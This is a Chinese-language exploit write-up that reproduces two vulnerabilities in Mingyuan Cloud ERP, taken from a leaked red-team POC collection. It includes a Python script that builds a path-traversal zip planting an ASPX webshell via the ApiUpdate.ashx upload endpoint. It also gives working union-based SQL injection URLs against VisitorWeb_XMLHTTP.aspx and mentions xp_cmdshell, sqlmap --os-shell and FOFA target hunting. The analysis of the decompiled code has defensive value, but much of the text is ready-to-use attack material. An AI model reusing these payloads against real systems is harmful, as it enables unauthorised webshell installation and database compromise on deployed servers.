前言

根据护网情报2023HW漏洞POC/EXP、情报汇总知识库（动态更新），发现明源云存在一个文件上传漏洞，但是这数据包，属实有点看不明白。直接利用也好像没办法利用。

文件上传

信息搜集

经过分析，发现这个漏洞是存在于另外一个端口的某个服务里的（这也就是为嘛有人复现不出来的原因，还有一个原因是因为不知道这个数据包是啥）。

并且好像还就是微步前段时间通报的明源云文件上传漏洞

通过找朋友白嫖，白嫖到了源码。

漏洞分析

查看疑似存在漏洞的文件myunke/ApiUpdateTool/ApiUpdate.ashx的内容，其对应class（类）为ErpApi.Web.ApiUpdateTool.ApiUpdate。

通过将bin目录拖入dnspy，并搜索程序集ErpApi.Web.ApiUpdateTool.ApiUpdate，找到了该类实现的具体逻辑。

当在浏览器地址栏访问myunke/ApiUpdateTool/ApiUpdate.ashx， asp.net运行时将调用处理程序的 ProcessRequest 方法来处理请求

因此这里实际上是要先分析ProcessRequest的方法实现。

传入参数apiocode的值，通过this.GetPostData()获取到用户发送post请求时的数据。

通过context.Request.PhysicalApplicationPath获取到当前正在执行的文件(myunke/ApiUpdateTool/ApiUpdate.ashx)的根目录的系统路径。然后该路径和Assembly拼接，得到一个新的目录。

通过this.GetPostData()获取的数据，将该数据保存在context.Request.PhysicalApplicationPath+"Assembly"/apiocode的值.zip下
即D:\\XXX\\myunke\\Assembly\\a.zip

在通过调用UnZip.Decode方法对该路径下的zip进行解压，将zip里的文件释放出来。

由于压缩包里的文件可控，里面可以放置可执行的脚本文件，因此导致了任意代码执行漏洞的产生。

注：保存在服务器上的压缩包的名字和apiocode的值有关。

漏洞复现

这里编写一个脚本方便进行发送数据包。

import requests


api_url = "http://x.x.x.x/myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=1"
file_path = "test.zip"  
with open(file_path, "rb") as file:
    file_content = file.read()

response = requests.post(api_url, data=file_content)

print(response.text)

新建一个压缩包为test.zip

运行脚本后，发包提示{"Message":"OK"}

说明按预期走完流程

访问/myunke/Assembly/1/test.txt和/myunke/Assembly/1.zip

均访问成功，说明漏洞也利用成功，该漏洞也真实存在。

此时就开始传shell进行验证了。

并连接成功。

在网传payload里面

可以看见这里是做了三次的跨目录，并传到的fdccloud/_/目录下，即fdccloud应用程序里。

猜测网传payload为什么要这么处理？

当时服务器对上传目录做了禁止解析的操作。
即在iis里面关闭了某个目录下运行脚本的权限。

留后门，防止马被管理员删了。
我想不到了

最终版脚本

该脚本可制作跨目录的压缩文件。

import requests
import zipfile
f = zipfile.ZipFile("my.zip", 'a', zipfile.ZIP_DEFLATED)

f.write("shell.aspx","../../../fdccloud/_/demo.aspx")
f.close()


api_url = "http://x.x.x.x/myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=1"
file_path = "my.zip"  
with open(file_path, "rb") as file:
    file_content = file.read()

response = requests.post(api_url, data=file_content)

print(response.text)

SQL注入

突然朋友说，飞书文档又更新了一个SQL注入

那就搜一下看看我有没有这个漏洞文件

dir /s /b VisitorWeb_XMLHTTP.aspx

emmm，版本有点太老了吧，互联网基本都是4.0+的版本。

这个漏洞版本不太清楚是1.x还是2.x的了。

漏洞分析

直接搜索程序集CgZtbWeb.VisitorWeb_XMLHTTP

流程是先从Page_Load开始，传入参数ywtype，如果值为GetParentProjectName，那么flag的值为true，进入if逻辑，执行this.GetParentProjectName()。

在GetParentProjectName()方法里，获取ParentCode参数的值，该值同text2（sql语句）直接拼接，最后通过MyDB.GetDataItemStrin(text)方法执行该SQL。因此才产生了该SQL注入漏洞。

漏洞复现

通过上面的分析可知，明显是可以用联合查询的方式去查询数据，也就不需要延时盲注了。

查询当前数据库用户

1	/CgZtbWeb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ywtype=GetParentProjectName&ParentCode=1'+union+select+current_user--

当前数据库用户权限是dbo，数据库所有者权限（一般就是默认用户sa）

查询当前数据库名称

1	/CgZtbWeb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ywtype=GetParentProjectName&ParentCode=1'+union+select+db_name()--

总结

两个漏洞都是真实存在的，只是可能有那么一丢丢的忽悠人。文件上传那里是直接post压缩包即可，文档中没注明，所以有的人复现的很不明白，比如一开始的我。

SQL注入那个，简介说是可以获取服务器权限，我尝试过闭合语句使用xp_cmdshell去执行命令，结果是会500错误。并且使用sqlmap的--os-shell功能，也是同样的问题。暂时还不清楚是什么原因，可能获取服务器权限这句描述是有问题的。

最后，这两个漏洞都是在其他端口的其他服务上，除了第一个文件上传漏洞的网站服务特征，可以用fofa语法去查找，最后的SQL所对应网站的服务，笔者暂时没找到语句去寻找相关案例站点。只能说看运气复现了。

感谢这位文档创建人，将漏洞触发点公开了。

感谢网友让0day变1day，1day变nday。

历史上，也有其他类型的网站系统出现过类似的上传（远程下载）压缩包，自解压（或调用接口解压）去达到GetShell的目的的漏洞。这类漏洞一般对应的功能点为“网站系统更新版本”、“主题样式更新”、“插件更新”等等。

参考

2023HW漏洞POC/EXP、情报汇总知识库（动态更新）